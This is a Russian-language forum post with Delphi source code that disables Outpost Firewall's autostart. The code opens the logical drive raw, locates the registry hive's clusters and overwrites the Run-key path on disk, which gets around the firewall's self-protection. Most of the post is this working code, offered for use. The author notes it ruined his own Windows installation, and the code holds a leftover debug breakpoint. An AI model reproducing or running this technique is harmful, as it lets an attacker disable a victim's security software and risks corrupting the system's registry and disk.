|
Участник форума
Регистрация: 09.12.2006
Сообщений: 135
Провел на форуме: 426226
Репутация:
726
|
|
Запись в реестр
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Curr entVersion\Run
// тестил только на XP FAT32,NTFS
// как обычно куча констант - для теста возможностей очень удобно
// особые извинения не любителям Делфи
Делает:
Меняет запись в реестре
'F:\Program Files\Agnitum\Outpost Firewall\outpost.exe /waitservice'
На
'D:\Program Files\Agnitum\Outpost Firewall\outpost.exe /waitservice'
Очевидным это станет для всех программ только после перезагрузки.
Как это можно использовать?
Код:
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls;
type
TForm1 = class(TForm)
Button1: TButton;
Memo1: TMemo;
procedure Button1Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
const
FSCTL_GET_RETRIEVAL_POINTERS=$90073;
IOCTL_DISK_GET_CACHE_INFORMATION=$740D4;
IOCTL_DISK_SET_CACHE_INFORMATION=$7C0D8;
FILE_READ_ATTRIBUTES= $80;
type
RETRIEVAL_POINTERS_BUFFER=record
ExtentCount,XX:DWORD;
StartingVcn:int64;
end;
TExtents =record
NextVcn:int64;
Lcnlo,Lcnhi:dword;
end;
var
Form1: TForm1;
s,s1,s2:string;
hFile,L,i,i1,i2,i3:Dword;
I64:int64;
SectorsPerCluster,BytesPerSector,X1,X2,ClusterSize:dword;
buf:^RETRIEVAL_POINTERS_BUFFER;
bufe:^TExtents;
bufe64:^int64;
// CACHE_INFORMATION:DISK_CACHE_INFORMATION;
implementation
{$R *.dfm}
procedure TForm1.Button1Click(Sender: TObject);
begin
memo1.Lines.Clear;
setlength(s,256);GetSystemDirectory(@s[1],256);setlength(s,2);s:=s+#0;
GetDiskFreeSpace(pAnsiChar(s),SectorsPerCluster,BytesPerSector,X1,X2);
ClusterSize:=SectorsPerCluster*BytesPerSector;
setlength(s,256);setlength(s,GetSystemDirectory(@s[1],256));
// открываем файл реестра где RUN
s:=s+'\config\software'+#0;
hFile:=CreateFile(pAnsiChar(s),FILE_READ_ATTRIBUTES,FILE_SHARE_READ or FILE_SHARE_WRITE or FILE_SHARE_DELETE,0,OPEN_EXISTING,0,0);
memo1.Lines.Add(inttohex(hFile,8));
if hFile=INVALID_HANDLE_VALUE then exit;
setlength(s1,getfilesize(hFile,@I)+512);
setlength(s,$200000);
i64:=0;
//Получаем расположение кластеров реестра
DeviceIoControl(hFile,FSCTL_GET_RETRIEVAL_POINTERS,@i64,8,@s[1],$200000,L,0);
buf:=@s[1];
bufe:=@s[17];
bufe64:=@bufe.Lcnlo;
closehandle(hFile);
// с фрагментированными файлами немного сложнее.
if buf.ExtentCount<>1 then begin memo1.Lines.Add('Fragmented');exit; end;
if l=0 then begin memo1.Lines.Add('FSCTL_GET_RETRIEVAL_POINTERS error 0');exit; end;
// GENERIC_READ or GENERIC_WRITE
// Открываем логический диск на чтение-запись
hFile:=CreateFile('\\.\F:',GENERIC_ALL,FILE_SHARE_READ or FILE_SHARE_WRITE or FILE_SHARE_DELETE,0,OPEN_EXISTING,0,0);
S2:='F:\Program Files\Agnitum\Outpost Firewall\outpost.exe /waitservice';
setlength(s1,ClusterSize*2);
bufe64^:=bufe64^*ClusterSize;
for i2:=0 to bufe.NextVcn-1 do begin
// Ищем известные нам записи в реестре
l:=SetFilePointer(hFile,bufe.Lcnlo,@bufe.Lcnhi,FILE_BEGIN);
ReadFile(hFile,s1[1],ClusterSize*2, X1, 0);
for i:=1 to ClusterSize*2-length(s2) do begin
i1:=1;
while i1<length(s2) do begin
if s1[i+(i1-1)*2]<>S2[i1] then begin i1:=$ffffffff;break;end;
inc(i1);
end;
if i1<>$ffffffff then begin
asm int 3 end; //<-????
S1[i]:='D';
l:=SetFilePointer(hFile,bufe.Lcnlo,@bufe.Lcnhi,FILE_BEGIN);
// Меняем реестр
WriteFile(hFile,s1[1],ClusterSize*2, X1, 0);
end;
end;
bufe64^:=bufe64^+ClusterSize;
end;
closehandle(hFile);
end;
end.
После перезагрузки Аутпост не запустится, но его драйвер не позволит Вам, исправить все как было раньше. 
ЗыЖ Аккуратнее с этими операциями, я себе Windows XP уже загубил, прошлось переустанавливать.
Последний раз редактировалось Xserg; 01.10.2007 в 20:00..
|